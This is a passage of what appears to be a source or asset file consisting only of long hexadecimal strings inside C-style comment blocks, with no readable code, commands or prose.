e479b2e03fd0a4444023c96c3baba67afcd43d0fac526c218716c6785d044a1fbfb23791063c91e771ace391964d1f7b8d0d9a889b3fd22283c0d20275dd0b311555df428082e3358b301c926cd7914607ca84c2ed91ae43b7e3ac71e128e8245debf6e4e8fa164ad9da2bd7b344f75d6853aa7ebdfbd790517efce9b5f0ae61f4b47df41aeeb0f5c6c76f76bda011f8f913c14ed4fef793fd863c54991f7142979b37458cfef11997102b483b718f72524fa9297f29956f11acd2b376392d8961baad3640978f0208a90cced86a65fb6deb1d6aa305c64edddebd801ce1ded235313b7757bc1220693f7804a53408110785d4a6c8962a7a6e97770c572dfaba985cdad3f08e727fb23b96d80a2dff25f81129ec5be8f533ef590b2efdb70f81e64ac09452344cd200830a7b0cd695c8f728207630aecdf30e2323633e70735b855b11fc4e1155b0a1571f0bd54c6983077ed2eff16a3529d391d299ba3ac22fd6a1236e0a30e913b147c9e784a9ebe9ba164abbebf317d86f6e191a5a72b5beab9f68a01d30184bd76d07bd195d71166df08a7b3a2e0142736b2eda1687596abd4eb314c1b12646460ef34f6c99289d6a201ef752aca2e8b8708d28d11af4df20c6460a4c73ea6f903286e06d441542f4e3673ab0d4a484f636fc9482142fada75f95db5e3090e7467901950e662751c6f51d873d5e2c976ba2df5f7ceea63e4fd1ef8db66ebf8263ced46445a04e0c3343be470594074cfc22722dbf960d77fb51ba49d97139ff716769e04f4f9f25f59ebbbd6a4ac869985859597f0b61d46874535f01c63b91feb42155b206046397dc2e8e539ed60dd4520e917a04cbd1c5aae228c058d1abd0eb0b33be83c694dbb54cfe980d6503ff1ba754bd31e233f481c8858b9f2fed29a10ebdd50f1a2875a39e239e4acae5d5a0ef2982a1b93194b413b7ae653d38998637692223965f97ed4714d16902f36fca24c7b11c78d3706a15d6872792eb8ef3ee41c1aba25fd2e73e64a7043546dcc3585fc146c264b5d2fb255892442d6d57c217e2697b7b8535373b25ccd7324bb0b59069dc5c5cf53ac2fe3aa954cd96cf36e72a0ca5819c4e13e8f22ae3a37780c6ab66d0c5ce25898e7ed9abef5e4db3d61ea369d3ea2d9628c4931c7d231920992b3910b362bbfecfc0a9787838688119d043506f21db0eaad0ad5fd3b42941a5a8cec2a8fe4cb16255f01b08168e1ea2cca1af8ad85c44de4a35bcf1fdd9441d11dba4e01090848a281b80607e9fb789f469419174285bc2faf05c75574c2b293d6100b6a0d3f0c0d13ffa4d4f48e0b0dac4f3c711b74754a41c9bd341890d53ef1c3032fae32eec0f4ccbed00b46043cd0b33de7dcc75ca7fea0d08c9a3cff39ee6d7ba0912df1e10dc7509749387e96764e8c5a8fd3d2b4b0fcfe28f17d07a4e550e5905c0bde5748d6d237641da3ecace62013295c90257b8e550fad56afa2c815e8315de1374ce6831da3b7256b877608024a004ddec71da85674268b9011842b49d1b3950f0f0d9c5649d37504238b30d000b67b8725df5a25628ad0be435d024a9408498bd9f386ef212577760a5ae754c2026a29b657e4ba8ff930366e2b273d7877e45a1ba15dcd515f95203a0ee009a2d05cd984c48794b9d0c75ff680933b6f71310cd5e35dd64da04f6415e41f57834c882c0166526eba861bb4e4fb292a1434c78894028b4e9a29fb02c197f0e9c9a7d106bdd1f9ec7ca93cc80b83d11c85b037333fb49e622592ea0a4adfcbd4277e384e507fe3b1c0328241b08208012001e5ee46d56730f1bf470a713b49206bca678ffda29d1b66c644937ba920cb822853f588d622e69db799adb63530e3cdbcd7f3f17d3e89c0e5c8a3ba46254796cad2aedb5bfb331c0b82aacf3a7bea23baa6c674a439efd57c35cf0e3f9c797f636903a0e4f28aeff20d76ea4d951e26c5590316f13681d82b0d4ef0cfd9adde53c892140796639a696e34e7a8707a1d5a6c8095745a39fd82142093808a2c9f06e3627057a81a92b9c4fa243643dd21376c0e2a83722990387ef22d5e323b831b277d7450f281cd351b317eedadb5af0d00a229acf4529d3f5631*/
/*1598ea8ae8e232112b9e96be658f4a3a4bcea886e680565ec41405e98bd2f8d1b65e052fcaa2c5d15e74bd21cfd50ed73d82ae34ec89e6ceb630663ad041b9cdc6ebb8f31597667c9c77a368426d8880d616ed7e23103d7d10f89c572ddb1a9330dedfd214e78b41b5e8e432136157b04612dd2bc09610130faac52c2bfe2ffd734e5a0c059935370599bd431d8a0cc127aca8ca3c29971211027742c92c028494e2b1ca73d2920c6f477365cb7a7950bfd0fade0e38b5fbb9191c3d6bf4531056e57da3b461e8eb2411b9b8428f3e42431c8006dfc75acf4f12bc8d4d4f84a29dbc7282e8b4c41a25bd79f6b583b62cadd674c430d4cd558f93d95d806b81230a893a6fec363dcdd3ce1cfeb4d1c5dd99a2f623fa2b719f709154be742c6e1e70c37cf7fc64137c120ce878d5b95dcb3c5e57f8180450266f01713123f8427ff4d580d4e01e554d4bf5c00672eaf78e8ef8e15a667d4db97e8b1fd8ba8c32545e09aaa39784f8382845955cf9c5f284cb6943986d9ba0fbb30eb99010d20d28297aa55ebaa7c9dda422aa385526ee3648a10237f0aaf26d96afd4d34c1ecad7ccd58e19296149f56509be84ee64c282119126778480d68d2e7424255dbb08a8ffe8851654b313fea90e749b0c30958ff8462914059b16c55b5bbe112c483a87e81e7b1a38cef73768fd17a00cc90e4e9e796ba97f07fc64e34401ba27e106ec7c0da13266eec57799c182356a3ff1bb296382f083c22048dbd250fc976b444d75e5a7f5f43f8bea19c251fadb83bf2207ba79fdf24afb94986f7d058ead5bd220679fdfe80294e4e6b901c02a57147371baa1f41709ea45f05d4c0d3b02d35100395bf49969bc47b69786ed2627357e24dd03e2801e0b2ae2a7b011d647baabad362e30c30185f5b9f290b2b71cdb199995db64b6c9b2ed193c4b7b8a7640a9d8977ef8ba0427faa0181d8779c66bc742a94b067697dd0031d4cb730d1fa87db96efd41d18fb26c2cf5daf672a5eec598c973bcffb76d8b4452197003076aa42a1a0475bb133f9ada665c4182786c58f916ebbae7cc583d8e442b8fa2b5ef4900062348c70d4318caa34671672f464aa75cac41fbc7f3a95492be71216c7cab5c6cfcd6a705bfe6d8e418629193b8c16af19d35734195e05d0fdef2d11b62d7aa4c77665509f9aa882b0d64b25b5722b6be116bc58bef734f75db797fbf6c52f734fef35b9be2b45bf4f7813c9eb38d7d32e35f921212291d1ef5a7faf13e6b7c4d9e94d9306e9222deec94868004489b45c0ae6d7cba440be4518b8729e6b514c2f28b84049f9ded66fb7311f55244afca7d389b64921fa889893bb105fb9dddb7db89c940611fd65ac6ea8169a3d422b6e4737ab2061a3070595d7b8047efa4c765f0287881af10076054b1d70382bc1d7e479bd50f35952947aad0780e6491de72dfc29f0722f229b17d055546c1b24b3c70bf1eeb20c9c166763dcfaf511a2e25765772556105b5f332e6dc86c768d82775dfc7b37451c9aa8480ac6d93ee64bcd48f014e17cb281f29e819cea019f5a5fc737c368c6d1223dd4d00c68ef155f6e632c0aa382a1d9077a67197d985bf94e14a99ab90aa52b7b066d3caaa2cb653cd9526080cbb351cf8f1818cdaa6c88705acac7ddae23407439ceaae4eacf23abc00fe0a390471f27d381b5a6c8551a4154fc22fc605f01fe4e22d484069d8e923459d75f4753da123ba06eccf2238ae2c18ce32ec7ba2a8394d206fdbc04a569b5eece97598bf329c088360e218e394ae8409207f61d7d3fb1327e0b0e1ab15b7cf0b1e64612ed70e69119f009417720e4786f83aaba4cd5722a24a407f0a69c8324438e1d3fcc0695869a4b06c0391d6729743cbceddad5bb9c3f84f8f628bf99650d9c03c4496806dffdf9dec1c314780f68c22795878cf6f76bf0d6f4626021773378386d0fc8317164bf2eefa56800f839d5f5b127b0e700b99bca7c80d17e6d190ae48ed92f4b0dae9718266779dd9e323e178a450505d06a35c54cf542c017ef001c1b22d68abfb61dc4708082e7598358b8a9fc6fd8916031e79a4bbcaa603d9878fc21978605c964f25c56115e116d1c8a8c7c54cfb4b7a55dc5b378c38679b237ccce90ded9965cb0cc855272c070ebe94910e3590742c7611ab6ec51f3ceab929e3264e1ea64e5b480d6cbce3951641b8b05bcb94cc35fb59aefaae83932e5a760ec35d3e61b09d43d4d480589510c708bb80787a77384314eb2ba57ab9773c1bf397f0951437863c404f6105af2157b505d27bf7922fa5f76e60dfb54c682ce82f735f695520a3f4d3871efa58d28a20a796a0a2c959b200fad253a5ba54014ae23d194008799fdfa2ccace9bae1330b480175fae72fd2ddc342d267311c3b5a0a23009fcfcddad50fbdf12a6124727768a55eb31ca9353808a19a8432d8e60ce6a8fb0af635fee1b3676bd8a99c52e6089958eaec82eda9d8eaef8e4bf38ae2009edbf6392be51d6caa6bc41d35ae2dfc59284bcb3e48c75e42383ef9d3a5b446d97b269db930241ced5439b5ad8a6121c2012570ddd287a8251ae3c8c4ca90cf361218c9e7034b48a529133f4b20fd35c859d519d0a870e798ab4641906efb7ae80190c25128b8aae471d75ea58946406612d3a24d6474eebc6a6ffac90f0649e42acafceedf86934d7ad539a80bc7b684836b56616c05456f390be1e86c25f55036b0a89d5cd33ba933f96784ae2d6ad43c55654c74d03cb169eb972b22d5ba8be95a051e0e96360a6a4ccac2e7fecef694d7b4b360acfa6abe762e84eb2ca74de7851791d2*/
/*48359d3a9f6fe73765be1d5950c98a3297822b52eb861bc83800bed10b0d4ef893aeb3496f65d62f02d1ce5d8a18fd35a7184095c7f76493dc5cc9df604a7476e58727e3f839c3c0f44268a0fcdde210d82ed97e323247e17b28e431e9469a15b2458c556e42c1c54de8884b8d632ef498c8ee2a54817e6ae29fafc7879240932f97d26631c0a596e0efafe4e3da36c1f3dc3e7f308b125cce4e2f055ac86381e5fabf395eab323d5247500bdec59d6d2e9044e536495fa213b73e22a7aaf66ce95f65108d03202ab70dd66fd0d54dd0aef42fec0d5228b907f6fbc73f2a9d33ab1d3247c6298dddba4a5349f6e0b53a0d0415692188e532d4214b69f53adf14a8f456ae7d04c3ce342753e966f208b453b6df6f50326bf53014d55836cc8b0bcd09c9ef213aeafd17ab32cc5bb264afc0b6258ea0cf3d7705c4e9c7064c8d5f49e89e414dc055fc59c77cf1b8800b2694140b8b84e3ead1dc3c94e2cfbc9a9de4e013a31ec5cc4533606e321eb25f0dc5ad21bf30eafe10b98b4352d0a4503850e93d9ad2c68867db023603d7359f8e2e4cadb0fee327c28a2bb0b21ee131d06ecc931523d7c519316392fa6ed8659b923a932b2f5c423d48392e02f1c0566febc13ce646a34ec140a6914c1d587e90e2b3688c4f0a1fc11f30e0b61b865d382c6ca2fea81c020f188e8ff2f63b8704d20fc749627a05e998b7d186084b6b9f755e86b6955d32a0a6c55ee1ac8f40f91341a82af51913c47dd1f0ebbecfb58627f3f351c3bfc796dbae21771b8898f2a98d0c5159c1ec178b6c14e58d80a36a48bd272b0dc514d5409634477cfa7ed67773b20969b7c5b9f30ddf05ea896104fce7eb27c265ca52252997115832e6dcdd1de4233349386a0b6e5c3fbe1daefb6bf73179aea73a8cf6726096fe144d11f74e6ece386c8e9b2010b0edfc9a52f89cf481e40929fb31dfc098014c032e29e802e4fda44cb04f48181ddc484b3ee6255dc3fd8ab0fbde7e3f2cfe9d1bbd5ec4513c934b18b9a7f62863ca640b37f506d614e0d3e8bb1ecaa2f66d6892eacdce044a11f513fa5465fdd0ab4d1bdd22120bcbcb82716d88b99de32d647692a316213fc3335d1d09bdf888b1062d7b6b5de0fa90a6cfe8bdb03aeeb0f1521a80e995e58a92f2a39aae5d0b956bdae6fad2f40d0f673f43b793fc49d36628345e8bb0da241f553ca281c2b59335487635c34157f381bd6e3e16cafa599a25e9938bbe2652b162d5bd639abfe35be93c43692a23872adf37c0944f2d822bfe32e7144084d5b78fab2f286ced8f459a58127c2a466960eeca2c875d6b4a81210d4de5da39d9af4b4561f58f4f1d6ab64193fdf87038682c78e19af1502348aef4effade5bfe5f8140d5c9382167ce7ea220943625fdd60a2cb04040622db8fc9069cddf81b0495961602c38b5f7729ccd93fceeb722b80aa4d1402104d4fcb598c75f5661610548f3fc18a53f0e68aa0a10706c21c3d389433fe927c1ff3c24c73722aae682b6a444df6e19b843f5f8df2303621de17506b804b2bbfc532e0338d000a31b3de85c3be75b9e4feff275bf8c0436d2842d2800ba55a6c38c37f26b5c8618d3ebaee7a36e77a1fc3e6817eecab193c26efa6afdd55bb7a3f4ae8fed5a95934c80e16445b44c662a30dddbb965c4b22bff8d9506087cf6be18ddc3953d7da09b6a96e9e5ad273ad8d49ac3ae8bcb22a32eb7020d7e70894a741203562e4d4ee40c53a7951a8f8915d0ac26f62c0888f78da2950fc7e37a2c7cd68f0eb6456a62cfcde769967e03d446d28edf38b4c0d8adb91fc5eb07e7b602ec05af4f889905252e6b41af2dd8d6f6aaf5b5403b920523aa884430eb5bce4994c0e954c33d73fd1d6f5acecdff9be33c82a4f882b3d824ca18067d9d3cbb1c1608953b3a5c3371cc716314f2b51b5bcb8e91eb3a05feda3835eda804fa82263fba3c4a9caebc38729d64ee19453840b771bc18647253a4fa7a5d9280846abbc506515f229582ba5cbf4225049066e036e27cceda814d5e21c1c844660144b44467f98b801e2c73a9c659b31b720f6d6f9f7eac8358e4d4890dcd7602194a422258c368aa63c422cea902329e66377335086833fe5f804b462257050a6606832a93c7ca8718b0d10eb67f5a78376ab3197d89319bcc7a39cae1b219dfed7da834d1d68cb6aadb3e6073170e701032e39177be128f7eda6c2c1bc707387539a95f03735e3321baafd896878b632b16869ca488394aba82c8044c477c1893fd99913bcf65b2b33334b1b44f604c06a50ea04dcb6efdacaa14da311e2b946b045dcd3a4215e94a7a0b4e3685e5d1e053cb3cd34e776e2c1e35c1d35c01a0e44e76a4b2156c6028ccfaa898a0024dc25d9213a7f865254b69ed53d49b94c53d94a5db2131475119289823676b6158777dde2daf50013034682a3a7c5aba8727601989cd3770c9d36e2b34a33d5f1e22d238b9a2afdb6b97ec037bd3876912f617c46bc41088695630333d29ea17ef2e6002ea76919a0994bae69993e4cfcea0f2dbc03203feb5a4062589546e33e441cdbd97845c8298647d48d32c5b9d34749a56807c47a260fe8ea10f0c78be818d15177afcd55aa1da72a51851abf5101b1ddd675820a20acdab6cd608a1e3948a9ba2c3128429016ff4af0e7144cc41b574ae0f6c744d225feca3f76dc44f746d489826ebacaf6f920457ab029b2cef52b513b2f8bca12b281916621d18eb31a0099a54cd71fe7518e338105c30c9d7b07e9c886be23e3239018b220b01d12918ec2643e9caf3f2601077067675270ea85a29dc7d368c*/
/*1cb7fe90ddff0927cfad8d447c3a1509a06ccb50392e52cb8594aed785805b38508dc9b0f1a7030acff5fddabfa6b957b5912ee0bb008628f17603c6347ec1bce7ab273f2baf1314a9bfcf46dd9c192cc5fc8e4c0e6b4324652c241d30546410b29602f253f0f3c094ab7358164bc33e48440acdad40c80d50d43081560aaf382bf1d0ab6ec7d1a9ebc8722757b8c7c8f4ba4014860520d853fa1120d67c83f56377dd2979fab742a4f3d61bd80dff395043cb3d9db489e2f6bcc0e7e37f2b57af79200bab4d54b6b6d76f55f32719395b990e2d74e38d246aa6b6415c8136f79e1ba8fd781f76f14bcf1a73921d5555ffd99b68b54f7013b4513db379166cbcceb0d7e6370908208a9a3615e4849638d19b511ff83c35661f33396afc8c1772579ab9a1e7f88c1720ab9d80ef655f725b7422d512a462a31600ad8beb22e7763d3b8e24bc3a681b935b17b12433eb5978ddb3527e405573897dde8c0b73e5e7814f9d2bcc69c37ffbf00f324345efa44a2dbca89ef24f707829e68939f911b36d894350f32abca91aec96cd36aa605beef7152cc11206e21287565f4b83d5712b580d7807299160e0dd180abcd3bc4207a63ce8ef304f4a456f0f9b1eae3c71160081beceff2206853ad137086962d92d834871653dd6b795f29c2dee0275e22957ca21daee9152eb40367f67f05ab89d7135ee8c6cf2f4637b7340b9c1600dac6c8a964a05d54b2827957c8f4f952d12c5dd2e84d088d52214e5185f932e3a80f6c20d19e0b6eaafde0117d914296c78fdb44c7ddfce5e8f722dfe5199fcd5ef7316cc8a946a32ddfd5207f5a8cc64ede7bd2f693fa51a4aaf5832d2fbcc473c3186751baf6783da372e08e0d442b757c6eda487197605745b8eced8a1ad45044cc581d099e91d551fcd228ebce15f4d636c472b8869c9966f24427a781b47ac1c94306067f8e735f347b075066af6ac519d185c9afc9937e301591b2ed6520c6119b44e0f16fbe9fb43e3d35fc9c14d7d034cf047334d93d5fb841ae162d8d1fc8947ed70a3a695284377bb67826466f325b905798a816e6ca9ea0850a170f7962404228f5f864bb39a19aeb57e50387111b444727cd83112a33799fc4ecb4bdd9848c2633437c1b2f020b74d1d333be09f775364016ec7007b1b1d7d5eecbc4840158141c1c4ce0e2f7714f6a8389671a7abc67da88cd207adb585faadab0e5fd5a4446fb645c57ff8154b5bc66b7735e3ffed7495c048d73b3c4c89cff38d563e88c1993a6045b528c407b4ffef3fdfd311c517d4160600e644cf0f7729dab70c757b255c8c8fbc6321372a5b85dcab775a79c04976bedb492f01d5387aad116060370f6719d6dbccb3fcab53f2b7349d505fb279963a213a78f06e6aeeca6513c3578cb1dd8192a71a1b4ed19d2ac1c6b09660c165a2a3f62a591c2a8bb95ee6e9af725f3d7fc6f5b4213c031e3118ec7b5f3a120bca47acf9c9f48d91002ce27904875768360624b290ecee8691e424cd09f120b89a505704fb5691ce8416f4ddb8fc74d05a565b5ae415596e2156f5154d1efa7787a98b71c3aec27e358d89bc438509449090e68044219db09bb55b9683a478c535b41074e3458df8d9a4a0b5c6138ebd07028230d7b3d0e36690f0e0b019dafb49b321e0be7f502d5abd91638a3c0e4b25488a6e905ba34c44190581f3bc2e2ba474293518710c0964d050fa35bf5b0e24f9d7b0aa0c650d73e76355327658c97e11c03a45121d318149087ac74a7815283f3d3b626ed4f7a3804e447796bbf1cd0cda03f561bbcf0b19fe0ea88d487754275aee9bba9c7099bba660484edbd05078362675d31152e913749e127ca70d32622de94a6918000d9cb37843854364872b13e3b1590bb4513c9a000b4bc589f59a0f2b63ccc179f50939cfbb48e86b24523796899e74b36a51a93ed654f19bcccbaddb8fb33c1f9bb2976f94b7c628e3c399ff8fd906c1a9886c511b5360a754a8b6a70e2e4556505ea8ce16309b9a70043081e609c9e25ef80848fffbab080f5788fc012c30c2cfb200064066fec1da93f30c6654b77020889137473ce35dbba5acec9cdaf799b49a940ead6832ba75dc3bafc201f2b6c294120efa0fdbd66fe2fcf8447fded32024134870e80005754198750ab87aafadccdf7cc62345907a5b86bd64dcd04e67aea41f7e238de148a5660bc75c5c79cccfbc811f0421b3944bc4f73b0a1edef49592b35d4599dfb3013f06e23c8f048567ed5d04c898d067e0bc42d367d7213329012e165e1335214689e903dd38a63a5bbd2fe4c5732ee32fb5c71b10b2762e12811210f8af9d8c84db0a3d65d6065e047b4a92f5f74107dde04d427dd85d44d384d5fdc3a867932189c8dcf45e98cf57fa8ff1e22a063aa5a21ea00ce4f1e3785f970dd789dd0306891b1be1e62e682a4af79f4585c64c8d313f03842f94aa622e66a59ab8855f841b1ba40f9dbf426250e681fbbbccfffa1a73de5be388e6408b2bcd22a03983a42606cf28e6a4b85dd2daf4f14ba0aa80a01ef8b308eddfefbfeecea6b7836de53c2762d3f95fc896fda79289d1800a35e3881ea16dcddaf5e4e20149d5f91bd0a3f5ff24eddf9ad8ae1d6169bc158c27f95145a1856f64235e4688f0e20644b4b9a20d935e0743f469363934b0d27573c294b3fe67bfdaf7a60bcccf3d746af12732a2a5891534fc3d7237b8103598b76661736092f16a2d079c19a26281b052788b37de4658e73f16462067e61f968e87ce99b3b6bdaf32af1e209da78a06867b709dda936e97d75c4b8270d5605ebcbc6fb1998df5*/
/*bd55b3e416d07bc4524b76455a2e71a842cdcd52e26fd8442ff620faf4ffaaf8be7326c688537307a89df06edba8a096ab9ecbb8bdec63f8fa00f1f39a3d06a41c97a1d18a933e1a8986e59dda8f75567687c4618be3a9809216dac407a558685cca8257377f276adb66e4d8aecd12e292df48474439368e667033ae1528d3f9b3311e560e9695efdb20b0551bb413df38922f2c7dd01915761121459494ee168e78bfcea0c1d8ae756ce1ff11c318e39d6be5648466b7b03ac964385a9f3d6bc785aee1fe966ac9fcbbd7ad7213f9ae11b0a4684afaa029d2cea1cd4e5229f34d3adf738d74f564f1657fbff6c6f9e00e7728264be4e9658ea731c03d62f0319d92b0613fd9618f3de4cb6cf88e2eec3023888bf04315e95b39c4ca3f9c0210e19e6826730d2c5383fb22423258240bccef40128cab78d2650772bfb6a12c754742dcc7e0dfd75f5645dce55355bbaa16ca8eee1ac22c43b13dbea48ae25547d38d42772cbe4ccf5a917c0ab224991d9eba2ea5d53778b020df76379c649ed24950225bf9556653b4a317942ee545cc484bf97963602167d545cf583d9502ff7f6246236b1d47ec1e0299b57917f21269b9a72e13cb129eff30d161edae1e42a45a40e678b6b0d08cf8b87cab119b37ad03749bfa99c8cf8dd97af3b3533f0c40541a5a22318487aa4db265527100b0c8520252305a67130790fd202e36e74da374354901d7e86fc8b8a6ee0836b6bf897a69c9f828ce8c8d1182a7d1f348d00c36e71acf6a07c07f67bdae6c563aa7d7ddabdf9202b84cbb0cf0389b349118c636688536492bad0808a422fd991b0da70136e8191308ccec269ab03db915ceda1518eb8bbcdb5dd4c89ec82a64b0647b45ed8ca9d76110f71c7da3d678d92d621f0afe3fd4a28180678a6c787d8eb6ceca2bbf4642a7bd4b3d17e754ca672b0c6878f06e376ad094a7356830838eb154e7d705f578284c6f2b5fcd676f0990c647f6d004ea84c4bdbf74cdffb12863269a765c803a60e0be6801f05d6b6188b2676fe73ccc9415fb96da9fddac558ec6859bd88728c1db209052dd4f337a9cd0093a8cfeebf1e1851dc9735bca216d6a199feaee117146f9c0428ba18bb16048ba28bb3a8312ec42863a619970e2321a61ac081661358191e44c92fe64c5aafd887a1e603c22db9486a6fea6efcb3b6082cbad7fea5a1f3bd9f39cf83121fcb8888f66c1230b781d1ed033c31b8ae958e9b6396d0847128a4bf7c9510c749a4b8cd3875ea53b07aec61b4e604860d617841d948283fc60feedf77823fafe1200c2db8902127c2d1a845e2d14ddb2aa7c92260283f9a645fa6b73a4519773212f703fa0571f334a6d7a90f9f9ed4e70fe775a0e354a6f510060a711dedee12848628c0e532f4e41d4fda94b1482db43809cf8925bf31fd72bd9eb8ecc6dce1d03ade221e6810dc37a86c9873eed0a41523f2859aa24958d848e820d339a367581f84b082c4745a7830c2688987f3fd25e685db4193b5b3d2a372ac52b75aa7c746024eef9d8b51edeaeda8986597db56e7853af12c1ae33e0fd78f1945ec0a8acbba18c3c3eca4c6199bcc3837315fe9be2dd841772762dac755fd234337bf484572960c49a56f2cf017acafe9b778caf9d6dcef1b0ab1813b3ea303701e45b6939ffbfd7f61b0eb863479de19edd5a704021e33f3ac28d33a1be4c3869ba66082fe114e4e2081eaf22f0791b3e8057bcc1a29b2c45626f228510e2c9beb749bf1aa9a3d8d496e35e4c3d34859091efddf50102c5f2f412c236be81fcb7f0c89cb42b87cee75c27eaa27b9232b07084ee2e98cc939314a5e065c551af3b2a4bed1e57b8446a4680ad920466ecb8cba79105cfd181b911e572e70195c81acb1896b75309ba9c02eeae0ee5b5bd9b6232d649f03df4a877fd70b57aafe6a5b5200c51fa40e3b96220311d45a8a5f9702b28681826204118f8ab41e4e53c45b3775f06a258a97b397aada3114c227978d1a1d31743ecc915417831a94a9a1d26a1172d4996db2bca705cb95dc43840551f403a4ebb87251a021fb2482d7caf1486184c5a0acb554521355eddc191b0e8a0c4f19c73be421b6fa1d145315c37b62188592f91f90881c8ec104c866cf1e70efc76844a4387e386116c839fee6dfb9079eea5aa85ebe9faa6c7c8fdb70b50da5746d491c1424ba7b727c57e5a2093da3a5611e75c905df036c997482b54baeebd284296e75948c01d560e50f49e66df95ed027238bbc82b73fa56ebc31e361ebe9b49b6e12e447de260f3b306424242e1a97faa19a373296a5fd4388a545b96013c796fb29459da1cca3c9ae5cd17f5cc1142f498467a5f5c22f6194c961a0a7bd3bcd0fc750a2cebb210ede4278c365ed1cfd0a0962b834429fee560a164ae9110c5c0d83d47b399848bb161ffe705d97dcab1fa9e41a784a55dbd96fe2151120e788d4795909d991ef660dc28a5b5fd541f1868c8abbcd32a61cfa1a52f317123db84848e511eeb990acaefbc849635d0474220fb8f94026c0bd87197e1edb2e1bcb2ad63dfccd1c2e9f11a8e0d4357d6ffce2993fff23ec759f533eaf308784d910397c68346f428351c27f3e67dda52da1afe1235d007e7fb9f22527e70c1c58f21ab80ffa4c44b6299ca7e9df8a17a1bbeeb95ccfd24b826289f3582e7839d66c277079943a59145f0a8ce37161494e27363ffcfd19e27bf8bae43d7d4e0a9ab425b319bca18849772cd62b4258b49b32cd582e6d018b312403429813916efb4d95fbac2ac02d8963d134f649e103d7ab3d396c5806a4920c3d661b278*/
/*d3946d6fec3c09609758af9451c7d713f480d7191815b5bd93e63a6c953919fa5850bfe31dc872b0af4322d5f83182b69e3e31123befb953c35f762c90379ac1fefde33ffacd8678bc153d5db756e302ac1d509b1740b35911a2feec875c86d78d32d15c3271790019077553a136d79d457ac64dbcb1588a06af2b0029a09c308416f745478c4bca087a3dbc2f01a67ef7fbf251e426f72cb117be7234ddcc7455e454d9e5aea5c0c1f835327855e1a7dc37f1479b314d308c1b0bc62f515befebc0073550bad665c3e3e08a2fb0cf8f86b05a5b7b9cb70f2b09db32f5c726fc6cfa09e39dc9e95dc98a01688f304bfd228de10a1293365a7391470584f98209d14c7160dbac257da313af2a8b1353348bace6d993800f176a251377b19144bc31dc304fba9c7edc11af054d2a358bfbe737f34608c5166a6fedc3f5bd25dd1fd9fc0a177f7e83c6a49462485508c3a12d944c1b1bbbe52e06f8aadc5d28514e13389991586a19643151580ca5ddd260edbb8bdea76ef774ca85b34794352e299393522b3945a80e40f6657d8799326cd8540c419a348dddc99cefac4b4d521bb8467f3db73172eee9bb0eace890bca6142ca33395c572554af697480b73a6564a120006b71cb34cc5150be0ca16f9b73dac2d7b8618f77fa4a75204913d7395ec5ca47e1ee2eff73b54689cd999b334cc6a3469c5135800fd62ccc3e970ca486207efb8e5f3d0f88b40e8c1d343ef70b1343a89adfe28f96a0087cb25ecf6482af578bf18202ec81ce61afec01cee279cff6e98d8ea72c812576b4ee9d9c07844637ba70bfa5cd9d90d8c2a5c72332abe5d349e90449fd03b672b4957d0a133850e60aa39f1e20cc0b5871884d0cd498267038250573374bed3243df9e14a6c5181d45e5728258b6244a6b96792c4315cb7f7b4dea33d329c4d728060ed8851b3f6e5afb96e28305ae2c4266fa7069fda98a3d7f297eb2f17cfc076c644f9988bec1e0c11a1c260d0607efc926eaf75b2d237ad8b17234fbceb702fc4ce32db6786a1079f978834ec57a6c835c80002295897d8cbe822617426b25eaefc6ea4cf11e0f68f62cccd5b1ab4c8a2a7e372de6e44181b55e1a2bec80fcbd5361c9995f0d145f73afff7724e465489ed55bb80b1e56f36bac90ea650a3efc9f491e6a87c00518aad4199c298e1258d3726135467f1dfee19ea7396c55488fd7719419934fa03eee7ab21bb970ce5b7d488899ff7203ee7efb6478b2b59e5f5022be79d4cea523b3025e62b23d3928b1140c461c45faeaa2c90ac3bcefd8ebd42941b3f37c990e3e90f64c445d9ab1429cbe6d1f27a44354645fb9175a829efd69343adcfc24c328442046c6cf36d9511ce856be9d025ccab38d40ac2a7f620debcf986e677b4cb9964fdd83ea65ac7eacc2e973481f46175c641f290406e7f801e52edd973d4af4912fc3ae932d50ee5b9ff53217d16dacf54a15a09b1f24d5a66be954ff3aab17e90041e1212c15e2bb5b7d3e7d4bdb558c8e2fffcfa1ed353484ba900b3d2a912cf52bfd8b59d74b579743f7edd62e576678ad21d24ced3108ba5bbab2284025ab57994af347e62443fd9c3d419c131fb66e8bd97a140b5ef47f8c77582bd8154f9ac664237e7f4e4efc7a02eaf8c193fde8dc6065f995bd8da6fcc751a61d9941c42afdfa7632dc45cfe048fda6f28f8178c9d16e4e8b73e93f2230229996b8409530ba2fbaf946f6460de35130f4f15c96506db8336f9f59837b076ca373963fec82659f15e6962acf096a1571ce3b8c739b9ca7923b27570462c16ac2ccdc84d441c735b4c3c2dfb6ecfd98634128a56a66b9347a420c5b55e47da39d5b89b0d04fd23743db87faaea21a0515159bd43f2e4cdf4b728d4402878c296e015035772c63cdb31025f74b19e2ca15710882f72e412e1a2b4fbf130d894537a0664ecf967fea20123131d57b17d909056d4a95223c372df5d60e5557ed8273c64e78994a29aa2a8302025f054bd3bec8ef05b21130a0ed452a7e0024a161a24f65e30a3c07c5e79eb763aa9e914956efc730ee612d91a3d8dafdeda2cc1ab38e6821ce34bda3741bae1d9ce8fafbc71a3913fec1f18b1d61b3dc9f03aaa5bc0ea4b97005e2634f4375d69508059aff579e53d005af34d449b2e2875a28a909f0877f7e57321761d3c29b3222df2360fcd85cea6ab95061634a3d884eabeb68ec847b1f6a0cbb9a44911a69a9b3fbe18f51941079241a588dc76d5a3674c5ecd1f9de5273fc4e2302dcbfb85caca377695c4a5c47677f0d592f519766833568f65899a9e1708152e30cf8d7f5ee83e5e8c0b034ff5e1d1320f28c8acec9e15ec4ef5eaf72eda6ff142073d77ba4a94065feee10bff46ac922c152a0fbc70ff67c6a1e9af4e8e03c89c62fdf2d9ba76678347edd05f3d61ad9c56fbc9d9574a0eca0cf3a6c1544591126a99d12b2a187465465422db34bea3dbc86d580b973c37f45439f6f28ce0771f8996e2a85be57de88061c614c91a29b54303bf33b85d253217e73afe0da66eaf9c47b646bac35005fbd1f40a21a798318acf39a0052faeacf075188033f66749172d64e58acbaab7862d3631367de538a730c77206f4e0828f0f1ba03684f738a0e2440e2be2912ec3ddd1a69fdd99c05cdc094a775e41338d995abc3035db1d30715fc48963585949237684e65eee79846168992d8dcd080953c9a5e58131937bcc74eadc49f070f330642d70b7a26ac15cac8de342b2abca2f82e0201eb5d6ffa2c8c9bf529d9d97ed575d803a9995bcb2a94548b10fa4959fd0f5be36eba62dd3a7*/
